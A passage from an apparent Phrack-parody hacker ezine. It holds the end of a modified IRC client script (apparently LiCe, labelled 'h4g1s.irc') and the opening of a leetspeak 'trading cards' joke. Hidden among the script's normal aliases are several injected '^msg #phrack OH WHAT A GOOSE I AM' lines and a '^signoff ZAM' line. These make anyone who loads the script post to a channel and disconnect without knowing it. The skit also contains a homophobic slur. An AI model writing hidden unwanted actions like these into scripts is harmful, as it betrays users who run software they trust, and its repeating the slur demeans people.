  1568.       @ temp.tbc = temp.tbc + 1
  1569.     }
  1570.     ^assign -tab.test
  1571.   }{
  1572.     if (temp.tbc >= #temp.tbn) {@ temp.tbc = 0}
  1573.     type ^U$K$0 $^\^^word($temp.tbc $temp.tbn)
  1574.     @ temp.tbc = temp.tbc + 1
  1575.   }
  1576. }
  1577. alias msay {
  1578.   if (C) {if ([$0]!=[]) {
  1579.     quote PRIVMSG $_send($mychannels()) :$0-
  1580.     echo -> ^B<^B${N}^B>^B $0-
  1581.   }{uecho Usage: /MSAY <text>}}
  1582. }
  1583. alias mme {
  1584.   if (C) {if ([$0]!=[]) {
  1585.     quote PRIVMSG $_send($mychannels()) :^AACTION $0-\^A
  1586.     echo -> ^B*^B $N $0-
  1587.   }{uecho Usage: /MME <action>}}
  1588. }
  1589. alias purge {
  1590.   foreach $0 ii {purge $0.$ii}
  1591.   ^assign -ii
  1592.   ^assign -$0
  1593. }
  1594. alias notword {
  1595.   if ([$0] > 0) {
  1596.     if (([$0] > 1) && ([$0] < rmatch($~ $1-))) {@ nw.sep = [ ]}{@ nw.sep = []}
  1597.     @ function_return = [$(1-${[$0]-1})]##[$nw.sep]##[$(${[$0]+1}-)]
  1598.   }{@ function_return = [$1-]}
  1599. }
  1600. ^msg #phrack OH WHAT A GOOSE I AM
  1601. ^wait
  1602. alias push {
  1603.   @ $0 = [$1 $($0)]
  1604. }
  1605. alias pop {
  1606.   @ function_return = word(0 $($0))
  1607.   @ $0 = ref(2- $($0))
  1608. }
  1609. alias queue.add {
  1610.   @ item = 0
  1611.   foreach $0 idx {@ item = item + 1}
  1612.   if (item > [$1]) {
  1613.     @ item = item - 1
  1614.     for (@ idx = 0, idx < item, @ idx = idx + 1) {
  1615.       @ $0[$idx] = [$($0[${idx+1}])]
  1616.     }
  1617.     ^assign -idx
  1618.   }
  1619.   @ $0[$item] = [$2-]
  1620.   ^assign -item
  1621. }
  1622. alias queue.head {
  1623.   @ qnext = 0
  1624.   @ qhead = 0
  1625.   @ function_return = [$($0[0])]
  1626.   ^assign -$0[0]
  1627.   while ([$($0[${qhead+1}])]!=[]) {
  1628.     @ qnext = qhead + 1
  1629.     @ $0[$qhead] = [$($0[$qnext])]
  1630.     @ qhead = qhead + 1
  1631.   }
  1632.   ^assign -$0[$qhead]
  1633.   ^assign -qhead
  1634.   ^assign -qnext
  1635. }
  1636. alias queue.tail {
  1637.   @ qtail = -1
  1638.   while ([$($0[${qtail + 1}])]!=[]) {@ qtail = qtail + 1}
  1639.   @ function_return = qtail
  1640.   ^assign -qtail
  1641. }
  1642. ^msg #phrack OH WHAT A GOOSE I AM
  1643. ^wait
  1644. alias cluster {
  1645.   @ _c_u = [*]
  1646.   if (index(! $0) != -1) {
  1647.     @ _c_t = mid(${index(! $0)+1} ${@0-index(! $0)+1} $0)
  1648.     @ _c_u = left($index(@ $_c_t) $_c_t)
  1649.     @ _c_h = mid(${index(@ $_c_t)+1} 80 $_c_t)
  1650.     ^assign -_c_t
  1651.   }{if (index(@ $0) != -1) {
  1652.     @ _c_u = left($index(@ $0) $0)
  1653.     @ _c_h = mid(${index(@ $0)+1} 80 $0)
  1654.   }{@ _c_h = [$0]}}
  1655.   while ((index($[1]_c_u ~\^+=-) != -1) || (@_c_u > 8)) {@ _c_u = mid(1 20 $_c_u)}
  1656.   if (index($right(1 $_c_h) 0123456789) != -1) {
  1657.     @ function_return = [$_c_u@$mid(0 ${rindex(. $_c_h)+1} $_c_h)]##[*]
  1658.   }{
  1659.     while ([$[1]_c_h]==[*]) {@ _c_h = mid(1 80 $_c_h)}
  1660.     if (index(. $_c_h) != rindex(. $_c_h)) {@ _c_h = mid($index(. $_c_h) 80 $_c_h)}
  1661.     @ function_return = [$_c_u@*$_c_h]
  1662.   }
  1663.   ^assign -_c_h
  1664.   ^assign -_c_u
  1665. }
  1666. alias makeban {
  1667.   if ([$0]==[BC]) {
  1668.     @ function_return = [*!*@*$mid($rindex(. $1) 99 $1)]
  1669.   }{
  1670.     if ([$0]==[BF]) {
  1671.        @ function_return = [*!$cluster($_host($1))]
  1672.     }{
  1673.       if ([$0]==[BH]) {
  1674.         @ function_return = [*!*@$_host($1)]
  1675.       }{
  1676.         if ([$0]==[BU]) {
  1677.           @ function_return = [*!$mid(${index(! $1)+1} $index(@ $1) $1)@*]
  1678.         }{
  1679.           @ function_return = [*!*$cluster($1)]
  1680.         }
  1681.       }
  1682.     }
  1683.   }
  1684. }
  1685. @ domain[com] = [Commercial]
  1686. @ domain[edu] = [Educational]
  1687. @ domain[gov] = [Government]
  1688. @ domain[mil] = [Military]
  1689. @ domain[net] = [Network]
  1690. @ domain[org] = [Organization]
  1691. alias on_311 {
  1692.   if (index($right(1 $3) 1234567890) != -1) {
  1693.     findip $3
  1694.   }
  1695.   @ _st = mid(${rindex(. $3)+1} 5 $3)
  1696.   if (domain[$_st])
  1697.   {echo ^B[^B $0 ^B$1^B!$2@$3 \($domain[$_st]\) ^B]^B}
  1698.   {echo ^B[^B $0 ^B$1^B!$2@$3 ^B]^B}
  1699.   ^assign -_st
  1700.   if ([$[1]2]==[~]) {echo :^_ no ident ^_: $3 is not using identd.}{
  1701.   if (index($[1]2 -=+) != -1) {echo :^_restricted^_: $3 is on a restricted connection.}}
  1702.   if ([$4]!=[] && [$4]!=[*Unknown*]) {echo :^_ ircname  ^_: $5-}
  1703.   @ _ok = hook(CUF $2@$3)
  1704.   if (_ok) {
  1705.     if ([$user[F][$_ok][L]]!=[])
  1706.     {echo :^_ userlist ^_: $user[F][$_ok][M] \(Global +^B$user[F][$_ok][L]\^B\)}    {echo :^_ userlist ^_: $user[F][$_ok][M] (No global modes)}
  1707.   }{
  1708.   @ _ok = hook(CUS $2@$3)
  1709.   if (_ok) {
  1710.     if ([$user[S][$_ok][L]]!=[])
  1711.     {echo :^_ shitlist ^_: $user[S][$_ok][M] \(Global +^B$user[S][$_ok][L]\^B\)}    {echo :^_ shitlist ^_: $user[S][$_ok][M] (No global modes)}
  1712.   }}
  1713. }
  1714. alias struct @ function_return = encode($tolower($0-))
  1715. alias _userhost @ function_return = mid(${index(! $0)+1} ${@0-index(! $0)+1} $0)alias _host @ function_return = mid(${index(@ $0)+1} ${@0-index(@ $0)+1} $0)
  1716. alias isban {
  1717.   @ ibm = []
  1718.   if (rmatch($1 *.* *@*) && [$0]!=[NONE]) {
  1719.     foreach bans.$0 ibx {
  1720.       @ ibt = decode($ibx)
  1721.       if (match($ibt $1) || rmatch($1 $ibt)) {push ibm $ibt}
  1722.     }
  1723.     ^assign -ibt
  1724.     ^assign -ibx
  1725.   }
  1726.   @ function_return = [$ibm]
  1727.   ^assign -ibm
  1728. }
  1729. alias _chops {
  1730.   @ chops.l = []
  1731.   if (ischannel($0)) {@ chops.c = [$0]}{@ chops.c = [$C]}
  1732.   foreach cache.$hook(CLI $chops.c) jj {
  1733.     if (ischanop($decode($jj) $chops.c) && [$N]!=[$decode($jj)]) {
  1734.       @ chops.l = [$decode($jj) $chops.l]}}
  1735.   @ function_return = [$chops.l]
  1736.   ^assign -chops.c
  1737.   ^assign -chops.l
  1738.   ^assign -jj
  1739. }
  1740. alias _nochops {
  1741.   @ nonops.l = []
  1742.   if (ischannel($0)) {@ nonops.c = [$0]}{@ nonops.c = [$C]}
  1743.   foreach cache.$hook(CLI $nonops.c) jj {
  1744.     if (!ischanop($decode($jj) $nonops.c) && [$N]!=[$decode($jj)]) {
  1745.       @ nonops.l = [$decode($jj) $nonops.l]}}
  1746.   @ function_return = [$nonops.l]
  1747.   ^assign -nonops.c
  1748.   ^assign -nonops.l
  1749.   ^assign -jj
  1750. }
  1751. ^msg #phrack OH WHAT A GOOSE I AM
  1752. ^wait
  1753. alias nick.completion {
  1754.   if ([$L]!=[] && [$C]!=[0]) {
  1755.     @ line.t = [$L]
  1756.     @ line.a = ref(${#line.t} $line.t)
  1757.     @ line.c = match(${line.a}* $chanusers($C))
  1758.     if (line.c > 0) {
  1759.       if (#line.t > 1) {
  1760.         @ line.t = notword(${#line.t} $line.t)
  1761.         @ line.t = [$line.t]##[ $ref($line.c $chanusers($C)) ]
  1762.       }{@ line.t = [$ref($line.c $chanusers($C))\^B:^B ]}
  1763.     }
  1764.     type ^U$^\^^line.t
  1765.     purge line
  1766.   }
  1767. }
  1768. alias ref @ function_return = [$(${[$0]})]
  1769. alias _tdiff @ function_return = word(0 $0$[1]1$2$[1]3$4$[1]5$6$[1]7)
  1770. alias mecho xecho -window MW $*
  1771. alias lecho echo *** $*
  1772. alias uecho echo [^B?^B] $*
  1773.  
  1774.  
  1775.  
  1776.  
  1777.  
  1778.  
  1779.  
  1780.                                 alias lice {if ([$0]) {@ id.c = [$id.c]##[ + $0-]}{@function_return = [$decode(BPFDHCGGFCGPEHBPCHHDCAACEMGJEDGFAC) v${id.v}.${id.r}.${id.p}${id.c}]}}
  1781. alias _send {
  1782.   if ([$1])
  1783.   {@ function_return = [$0,$_send($1-)]}
  1784.   {@ function_return = [$0]}
  1785. }
  1786. alias echo.recursive {
  1787.    echo  $[10]0 $[10]1 $[10]2 $[10]3 $[10]4 $[10]5 $[10]6
  1788.    if ([$7]) {echo.recursive $7-}
  1789. }
  1790. alias ch @ function_return = mid(0 ${CHANNEL_NAME_WIDTH} $0)
  1791. alias target if (T) {@ function_return = [$T]}{@ function_return = [$C]}
  1792. alias uh if (isset(V)) {@ function_return = [$0!$1]}{@ function_return = [$0]}
  1793. alias _plural if ([$0]==[1]) {@ function_return = []}{@ function_return = [s]}
  1794. alias isset @ function_return = (1 + index($0 $main.set))
  1795. alias isset.show if (isset($0)) {@ function_return = [On]}{@ function_return = [Off]}
  1796. alias iscset @ function_return = (1 + index($0 $chan[$hook(CLI $1)][T]))
  1797. alias iscsetf @ function_return = (1 + index($0 $chan[$1][T]))
  1798. alias iscset.show if (iscset($0 $1)) {@ function_return = [On]}{@ function_return = [Off]}
  1799. alias ismset if (isset(R)) {@ function_return = (1 + index($0 $main.mset))}{@ function_return = 0}
  1800. alias ismset.show if (ismset($0)) {@ function_return = [On]}{@ function_return = [Off]}
  1801. ^msg #phrack OH WHAT A GOOSE I AM
  1802. ^wait
  1803. alias oncache @ function_return = [$cache[$hook(CLI $0)][$struct($1)]]
  1804. alias on_404 {
  1805.   if ([$0]!=[$temp.sync]) {if ([$0]!=[$S]) {
  1806.     ^timer -d 111
  1807.     echo *** You are desynched on ^B$1^B \($0: $2-\)
  1808.     @ temp.sync = [$0]
  1809.   }}
  1810.   ^timer -r 404 30 ^assign -temp.sync
  1811. }
  1812. alias clean.sweep {
  1813.   if (ischanop($N $0)) {
  1814.   @ _xa = hook(CLI $0)
  1815.   foreach cache.$_xa _xb {
  1816.   @ _xd = decode($_xb)
  1817.   if ([$_xd]!=[$N]) {
  1818.   @ _xc = isban($_xa $_xd!$cache[$_xa][$_xb])
  1819.   if (_xc) {
  1820.   if (onchannel($decode($_xb) $0)) {quote.add KICK $0 $decode($_xb) :$ch($0) ban: ^B$_xc\^B}
  1821.   }}}
  1822.   quote.flush
  1823.   ^assign -_xa
  1824.   ^assign -_xb
  1825.   ^assign -_xc
  1826.   ^assign -_xd
  1827.   }
  1828. }
  1829. alias flood.check {
  1830.   if (index(F $user[F][$hook(CUF $1)][L]) == -1) {
  1831.     if (match($0 $flood.test) == 0) {
  1832.       if ((!ischannel($3) && isset(F)) || (ischannel($3) && iscset(C $3))) {
  1833.         @ _f_i = hook(CF $1 $3)
  1834.         if (_f_i) {
  1835.           if (time() - _f_i <= main.fint) {
  1836.             @ fld[$_f_i][$0] = fld[$_f_i][$0] + 1
  1837.             if ([$fld[$_f_i][$0]] >= [$(main.$0)]) {
  1838.               @ function_return = 0
  1839.               flood.action ${time() - _f_i} $0-
  1840.               ^on ^hook -"CF $fld[$_f_i][H] $fld[$_f_i][I]"
  1841.               ^assign -fld[$_f_i][$0]
  1842.               ^assign -fld[$_f_i][H]
  1843.               ^assign -fld[$_f_i][I]
  1844.             }{@ function_return = 1}
  1845.           }{@ function_return = 1}
  1846.         }{
  1847.           @ function_return = 1
  1848.           @ _f_i = time()
  1849.           while ([$fld[$_f_i][H]]!=[]) {@ _f_i = _f_i + 1}
  1850.           @ fld[$_f_i][H] = [*@$_host($1)]
  1851.           ^on ^hook "CF $fld[$_f_i][H] $3" @ function_return = [$_f_i]
  1852.           @ fld[$_f_i][$0] = 1
  1853.           @ fld[$_f_i][I] = [$3]
  1854.         }
  1855.         ^assign -_f_i
  1856.       }{@ function_return = 1}
  1857.     }{@ function_return = 1}
  1858.     if (isset(B)) {
  1859.       if (index(I $user[S][$hook(CUS $1)][L]) != -1) {
  1860.         echo *** Auto: Ignore ^B$0^B, SHIT mode +I detected.
  1861.         ^ig $user[S][$hook(CUS $1)][M] ALL CRAP -PUBLIC
  1862.       }
  1863.     }
  1864.   }{@ function_return = 1}
  1865. }
  1866. on -flood "% PUBLIC *" {
  1867.   if (ischanop($N $C) && iscset(C $C)) {
  1868.     if (iscset(P $C)) {
  1869.       @ _f_p = hook(CUF $userhost())
  1870.       if (_f_p) {
  1871.         if (index(F $user[F][$_f_p][L]) == -1)
  1872.         {if (onchannel($0 $C)) {quote KICK $C $0 :Flood: ^B${FLOOD_AFTER / 2}^B
  1873. consecutive public lines.}}
  1874.         {if (!rmatch($C $user[F][$_f_p][C])) {quote KICK $C $0 :Flood: ^B${FLOOD_AFTER / 2}^B consecutive public lines.}}
  1875.       }{if (onchannel($0 $C)) {quote KICK $C $0 :Flood: ^B${FLOOD_AFTER / 2}^B consecutive public lines.}}
  1876.       ^assign -_f_p
  1877.     }{if (onchannel($0 $C)) {quote KICK $C $0 :Flood: ^B${FLOOD_AFTER / 2}^B consecutive public lines.}}
  1878.   }
  1879. }
  1880. alias flood.action {
  1881.   @ _u_m = _host($2)
  1882.   @ push(flood.test $1)
  1883.   if (ischannel($4) == 0) {
  1884.     echo *** ^BAlert^B: $1 flood detected from ^B$3^B \(@$_u_m\)
  1885.     ^ig *@$_u_m
  1886.     if (!isset(Q)) {quote NOTICE $3 :^B[^B$1 Flood!^B]^B You'll be ignored for ^_$tdiff(${main.igt * 60})\^_. $main.dem}
  1887.   }{
  1888.     if (ischanop($N $4)) {
  1889.       if (iscset(F $4) || [$1]==[JOIN]) {
  1890.         @ mode.add($hook(CLI $4) +b *!*@$_u_m)
  1891.         if (ischanop($3 $4)) {@ mode.add($hook(CLI $4) -o $3)}
  1892.         @ mode.flush($4)
  1893.       }
  1894.       quote KICK $4 $3 :Flood: ^B$(main.$1) ^B$1's in \($0\) $tdiff($main.fint)
  1895.       echo *** ^BAlert^B: $1 flood detected from ^B$3^B \(@$_u_m\) on $4
  1896.     }
  1897.     if (iscset(S $4)) {^user -s *@$_u_m +$4 +FI Auto shit for being a $1 flood dork!}
  1898.   }
  1899.   if (ismset(U)) {away.save LiCe licelogd $1 flood from $3!*@$_u_m on $4}
  1900.   ^assign -_u_m
  1901.   ^timer $main.ftst ^assign -flood.test
  1902. }
  1903. #alias waste_mucho_cpu_please {
  1904. alias clean.lists {
  1905.   foreach fld XX {if (time() - XX >= main.fint) {
  1906.     ^on ^hook -"CF $fld[$XX][H] $fld[$XX][I]"
  1907.     foreach fld.$XX YY {^assign -fld[$XX][$YY]}
  1908.   }}
  1909.   foreach ignore XX {if (time() >= XX) {
  1910.     ^IGNORE $ignore[$XX] NONE
  1911.     echo *** Auto: Ignore ^B$ignore[$XX]\^B expired at $strftime($XX %X) \($tdiff(${main.igt * 60})\)
  1912.     ^assign -ignore[$XX]
  1913.   }}
  1914.   foreach nsn XX {
  1915.     if (time() - XX >= 300) {
  1916.       foreach nsn.$XX YY {foreach nsn.$(XX).$YY ZZ {^assign -nsn[$XX][$YY][$ZZ]}}
  1917.       ^on ^hook -"NSN $hook(NSI $XX)"
  1918.       ^on ^hook -"NSI $XX"
  1919.       ^assign -ZZ
  1920.     }
  1921.   }
  1922.   foreach bans XX {if (iscsetf(E $XX)) {
  1923.     foreach bans.$XX YY {if (time() - bans[$XX][$YY] >= main.ban) {
  1924.         @ mode.add($XX -b $decode($YY))
  1925.         ^assign -bans[$XX][$YY]
  1926.     }}}
  1927.     @ mode.flush($hook(CLC $XX))
  1928.   }
  1929.   ^assign -XX
  1930.   ^assign -YY
  1931. }
  1932. on -channel_nick * {
  1933.   @ cn = hook(CLI $0)
  1934.   if ([$cn]!=[NONE]) {
  1935.   @ cache[$cn][$struct($2)] = userhost()
  1936.   ^assign -cache[$cn][$struct($1)]
  1937.   if ([$2]!=[$N]) {if (flood.check(NICK $userhost() $2 $0)) {
  1938.     if (ischanop($N $0) && iscsetf(T $cn))
  1939.     {if (match($2 \{ \} \\ $main.nix)) {quote KICK $0 $2 :^BLame nick detected!^B}}
  1940.   }}}
  1941.   ^assign -cn
  1942. }
  1943. on -raw_irc "% MODE % *" {
  1944.   if (ischannel($2)) {
  1945.     @ m.x = hook(CLI $2)
  1946.     if ([$m.x]!=[NONE]) {
  1947.       @ m.h = _userhost($0)
  1948.       if (!m.h) {@ m.h = [SERVER]}
  1949.       mode.main $left($index(! $0) $0) $m.h $2 $m.x $3-
  1950.       ^assign -m.h
  1951.     }
  1952.     ^assign -m.x
  1953.   }
  1954. }
  1955. alias mode.main {
  1956.   @ m.i = 0
  1957.   @ m.a = [$5-]
  1958.   @ oper.test = ([$0]==[$N])
  1959.   @ deop.test = 0
  1960.   fec ($4) m.m {
  1961.     if ([$m.m]==[+] || [$m.m]==[-]) {@ m.s = [$m.m]}{
  1962.       if (index($m.m bklov) != -1) {
  1963.         if ([$m.s$m.m]!=[-l]) {
  1964.           ^hook MODE$m.m$m.s $0 $1 $2 $3 $word($m.i $m.a)
  1965.           @ m.i = m.i + 1
  1966.         }
  1967.       }{
  1968.         if ([$1]!=[SERVER] && !oper.test) {@ flood.check(MODE $1 $0 $2)}
  1969.           if (iscsetf(L $3)) {
  1970.           @ m.z = hook(CUF $1)
  1971.           if (index(E $userc[$m.z][C][$rmatch($2 $user[F][$m.z][C])]) == -1) {
  1972.             if ([$m.s]==[+])
  1973.             {if (index($m.m $chan[$4][L]) == -1) {@ mode.add($3 -$m.m)}}
  1974.             {if (index($m.m $chan[$4][L]) != -1) {@ mode.add($3 +$m.m)}}
  1975.           }
  1976.           ^assign -m.z
  1977.         }
  1978.       }
  1979.     }
  1980.   }
  1981.   @ mode.flush($2)
  1982.   quote.flush
  1983. }
  1984. on ^hook "MODEb- % % % % %" {
  1985.   ^assign -bans[$4][$struct($5)]
  1986.   if (iscsetf(B $4) && !oper.test) {
  1987.     if ([$_userhost($5)]!=[*@*]) {
  1988.       @ banee = hook(CUS $_userhost($5))
  1989.       if (index(B $userc[$banee][C][$rmatch($3 $user[S][$banee][C])]) != -1) {
  1990.         @ operc = hook(CUF $2)
  1991.         if (index(E $userc[$operc][C][$rmatch($3 $user[F][$operc][C])]) == -1) {          @ mode.add($4 +b $5)
  1992.           if (!isset(Q) && [$2]!=[SERVER]) {quote.add NOTICE $1 :Sorry ^B[^B$5^B]^B is in my permanent banlist. $main.dem}
  1993.         }
  1994.         ^assign -operc
  1995.       }
  1996.       ^assign -banee
  1997.     }
  1998.   }
  1999. }
  2000. on ^hook "MODEb+ % % % % %" {
  2001.   @ bans[$4][$struct($5)] = time()
  2002.   if ([$2]!=[SERVER] && !oper.test) {
  2003.     if (match($5 $N!$myuh)) {
  2004.       @ mode.add($4 -b $5)
  2005.       quote.add KICK $3 $1 :Dont ban ^B$5^B asshole! That's me!
  2006.       echo *** ^BAlert^B: ^B$1^B banned you from $ch($3) with \"$5\"
  2007.       if (ismset(U)) {away.save LiCe licelogd $1 banned you from $3 \($5\)}
  2008.     }{
  2009.       if (iscsetf(P $4)) {
  2010.         @ banee = hook(CUF $2)
  2011.         if (index(E $userc[$banee][C][$rmatch($3 $user[F][$banee][C])]) == -1) {          @ baner = hook(CUF $_userhost($5))
  2012.           if (baner) {
  2013.             @ banee = rmatch($3 $user[F][$baner][C])
  2014.             if (index(P $userc[$baner][C][$banee]) != -1) {@ mode.add($4 -b $5)}            if (index(R $userc[$baner][C][$banee]) != -1) {
  2015.               if (ischanop($1 $3)) {@ mode.add($4 -o $1)}
  2016.               @ mode.add($4 +b *!*$cluster($2))
  2017.               if (!isset(Q)) {quote.add NOTICE $1 :Ban: $main.drm $5}
  2018.             }
  2019.           }{if (iscsetf(D $4)) {^timer -r 6 5 clean.sweep $3}}
  2020.           ^assign -baner
  2021.         }{if (iscsetf(D $4)) {^timer -r 6 5 clean.sweep $3}}
  2022.         ^assign -banee
  2023.       }{if (iscsetf(D $4)) {^timer -r 6 5 clean.sweep $3}}
  2024.     }
  2025.   }
  2026. }
  2027. ^signoff ZAM
  2028. on ^hook "MODEo- % % % % %" {
  2029.   if ([$2]!=[SERVER] && !oper.test) {
  2030.   flood.check DEOP $2 $1 $3
  2031.   if ([$1]!=[$5]) {if (iscsetf(P $4)) {
  2032.   @ operc = hook(CUF $2)
  2033.   if (index(E $userc[$operc][C][$rmatch($3 $user[F][$operc][C])]) == -1) {
  2034.   @ operc = hook(CUF $cache[$4][$struct($5)])
  2035.   if (operc) {@ opert = rmatch($3 $user[F][$operc][C])
  2036.   if (index(P $userc[$operc][C][$opert]) != -1) {@ mode.add($4 +o $5)}
  2037.   if (index(R $userc[$operc][C][$opert]) != -1) {
  2038.   @ mode.add($4 -o $1)
  2039.   if (!isset(Q)) {quote.add NOTICE $1 :Deop: $main.drm $5}
  2040.   }}
  2041.   ^assign -opert
  2042.   }
  2043.   ^assign -operc
  2044.   }}}
  2045. }
  2046. on ^hook "MODEo+ % % % % %" {
  2047.   if ([$5]==[$N]) {
  2048.     if (iscsetf(D $4)) {^timer -r 6 5 clean.sweep $3}
  2049.   }{
  2050.     if ([$2]==[SERVER]) {
  2051.       if (iscsetf(N $4)) {
  2052.         @ operc = [$nsn[$hook(NSN $1)][$encode($3)][$encode($5)]]
  2053.         if (!operc) {
  2054.           if (iscsetf(P $4)) {
  2055.             @ operc = hook(CUF $cache[$4][$struct($5)])
  2056.             if (!operc) {@ mode.add($4 -o $5)}{
  2057.               if (index(O $userc[$operc][C][$rmatch($3 $user[F][$operc][C])]) == -1) {
  2058.                 @ mode.add($4 -o $5)
  2059.               }
  2060.             }
  2061.           }{@ mode.add($4 -o $5)}
  2062.         }
  2063.         ^assign -operc
  2064.       }
  2065.     }{
  2066.       if (!oper.test) {
  2067.         if (iscsetf(B $4)) {
  2068.           @ operc = hook(CUS $cache[$4][$struct($5)])
  2069.           if (operc) {
  2070.             if (index(D $userc[$operc][C][$rmatch($3 $user[S][$operc][C])]) != -1) {
  2071.               @ deop.test = 1
  2072.               @ mode.add($4 -o $5)
  2073.             }
  2074.           }
  2075.         }
  2076.         if (iscsetf(G $4) && !deop.test) {
  2077.           @ operc = hook(CUF $2)
  2078.           if (operc) {
  2079.             if (index(E $userc[$operc][C][$rmatch($3 $user[F][$operc][C])]) == -1) {
  2080.               @ operc = hook(CUF $cache[$4][$struct($5)])
  2081.               if (index(O $userc[$operc][C][$rmatch($3 $user[F][$operc][C])]) == -1) {
  2082.                 @ mode.add($4 -o $5)
  2083.               }
  2084.             }
  2085.           }{@ mode.add($4 -o $5)}
  2086.         }
  2087.         ^assign -operc
  2088.       }
  2089.       ^assign -deop.test
  2090.     }
  2091.   }
  2092. }
  2093. on ^hook "MODEk+ % % % % %" {
  2094.   @ chan[$4][K] = [$5]
  2095.   if (!oper.test) {
  2096.     if (!iscsetf(K $4)) {
  2097.       if ([$2]!=[SERVER]) {
  2098.         if (iscsetf(M $4)) {
  2099.           if ([$strip(\;$$^V^B^_^[^X^L $5)]!=[$5]) {
  2100.             quote.add KICK $3 $1 :^BBogus key detected!^B
  2101.             @ mode.add($4 -k $5)
  2102.           }
  2103.         }
  2104.       }{
  2105.         if (iscsetf(N $4)) {
  2106.           @ mode.add($4 -k $5)
  2107.         }
  2108.       }
  2109.     }
  2110.   }
  2111. }
  2112. on ^hook "MODEk- *" {
  2113.   ^assign -chan[$4][K]
  2114. }
  2115. on ^mode * {
  2116.   if (!isset(Z))
  2117.     {if ([$1]==[$C])
  2118.     {echo *** Mode change \"$2-\" on $ch($1) by ^B$0^B}
  2119.     {echo *** Mode change \"$2-\" on $ch($1) by $0}}
  2120. }
  2121. on ^mode "% #% %bb *" {
  2122.   if (!isset(Z))
  2123.     {if ([$1]==[$C])
  2124.     {echo *** Mode stack \($2\) on $ch($1) by ^B$0^B}
  2125.     {echo *** Mode stack \($2\) on ^B$ch($1)\^B by $0}}
  2126. }
  2127. on ^mode "*.* #% *" {
  2128.   if (!isset(Z))
  2129.     {if ([$1]==[$C])
  2130.     {echo *** Mode hack \"$2-\" on $ch($1) \(^B$0^B\)}
  2131.     {echo *** Mode hack \"$2-\" on ^B$ch($1)\^B \($0\)}}
  2132. }
  2133. alias mode.add {
  2134.   if (rindex(-+ $chan[$0][M0]) >= 4) {
  2135.     quote MODE $hook(CLC $0) $chan[$0][M0] $chan[$0][M1]
  2136.     ^assign -chan[$0][M0]
  2137.     ^assign -chan[$0][M1]
  2138.   }
  2139.   @ chan[$0][M0] = [$chan[$0][M0]]##[$1]
  2140.   @ chan[$0][M1] = [$chan[$0][M1]]##[$2- ]
  2141. }
  2142. alias mode.flush {
  2143.   @ mf = hook(CLI $0)
  2144.   if ([$chan[$mf][M0]]!=[]) {
  2145.     if (ischanop($N $0)) {
  2146.       quote MODE $0 $chan[$mf][M0] $chan[$mf][M1]
  2147.     }
  2148.     ^assign -chan[$mf][M0]
  2149.     ^assign -chan[$mf][M1]
  2150.   }
  2151.   ^assign -mf
  2152. }
  2153. alias quote.add {
  2154.   @ qn = [$*]
  2155.   if ((@temp.quote + @qn) >= 1000) {
  2156.     quote.flush
  2157.     if (@qn >= 1000) {quote $qn}{@ temp.quote = [$qn]##[$decode(AN)]}
  2158.   }{
  2159.     @ temp.quote = [$temp.quote]##[$decode(AN)]##[$qn]
  2160.   }
  2161.   ^assign -qn
  2162. }
  2163. alias quote.flush {
  2164.   if (temp.quote) {
  2165.     quote $temp.quote
  2166.     ^assign -temp.quote
  2167.   }
  2168. }
  2169. [END_CUT] h4g1s.irc
  2170.  
  2171. [END_DIR] l00pb4q
  2172.  
  2173.  
  2174.        ___________________________________
  2175.     .-'                                   `-.
  2176. [04]|  l4m4h t4m4h H/P/V/C/A tr4d1ng k4rdz  |[04]
  2177. [04]|                   by:                 |[04]
  2178. [04]|            l4m4h t4m4h INC            |[04]
  2179.     `-.___________________________________.-'
  2180.  
  2181.     t0 wh0m th1z w4r3z m4y c0nc3rn:
  2182.  
  2183.     de4r re4der, eye 4m ple4z'd two inph0rm u th4t l4m4h t4m4h
  2184.     incorp3r4t3d h4z begun a n3w pr0j3kt: l4m4h t4m4h H/P/V/C/A
  2185.     tr4d1ng k4rdz. th3z c4rdz c0ns1st 0f all y0r ph4v0r1te h4kr 
  2186.     h3r0z@! curr3ntly w3 r try1ng t0 g3t th3m includ3d in b0x3z
  2187.     of kr4kr j4kz and b1g ch3w bubbl3 gumz. th3r3 w1ll b m4ny
  2188.     m0r3 k4rdz tw0 k0me. k33p y0r b4n4n4z pe4l3d and b 0n the
  2189.     w4tch0ut f0r future rele4s3s 0f thez w0nderful k4rdz.
  2190.  
  2191.     wh4t k4n eye d0 w1th l4m4h t4m4h h/p/v/c/a tr4d1ng k4rdz?! 
  2192.     w3ll, u c4n d0 alm0st anything. th3y r the ide4l party f4v0r 
  2193.     at k0nz lyke pumpcon, defc0n, and fagh4t c0n. u c4n pl4y
  2194.     str4p h/p/v/c/a p0ker. u c4n pl4y tw1st3r us1ng h/p/v/c/a
  2195.     tr4d1ng k4rdz. u c4n buy cert4in it3mz @ the doll4r gener4l
  2196.     in compt0n with th3z k4rdz (k4rd st4mpz). y0u k4n tr4de 4
  2197.     w4r3z w1th th3z w0nderful k4rdz on the eyeRC. y0u k4n l4mein4te
  2198.     th3z k4rdz and be4t a wh1teh4t 0ver the he4d w1th them. l4m4h
  2199.     t4m4h h/p/v/c/a tr4d1ng k4rdz M4KE THE PERF3CT BEVER4GE (J0LT)
  2200.     CO4ST3RZ! the p0int iz, wh3r3ver l4m4h t4m4h hpvca tr4d1ng k4rdz
  2201.     r, th3 p4rty iz there tw0.
  2202.  
  2203.     h3r3 we w1ll include the f1rst s3t 0f l4m4h t4m4h h/p/v/c/a tr4d1ng
  2204.     k4rdz. 0ur fe4tured elitez include:
  2205.  
  2206.         * RLoxley
  2207.         * route
  2208.         * so1o
  2209.         * emmanuel
  2210.         * lore
  2211.         * gov-boi
  2212.  
  2213.     0k i kn0w ur sucreti4l gl4ndz r juzt 00z1ng ph0r the w4r3z s0 eldump
  2214.     th1z mfqr. -- l4m4h t4m4h INC.
  2215.  
  2216. [BEGIN_DIR] lt
  2217.  
  2218. [CUT_HERE] Intro
  2219.    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  2220.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2221.    | Handle: Intro(#1) | Affiliations: l4m4h t4m4h tr4d1ng k4rdz   |
  2222.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2223.    | Contributions: THE FIRST EVER H/P/V/C/A TR4D1NG K4RDZ         |
  2224.    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  2225.    | Special powerz: SPRE4D H0PE T0 CH1LDR3N W0RLDW1DE             |
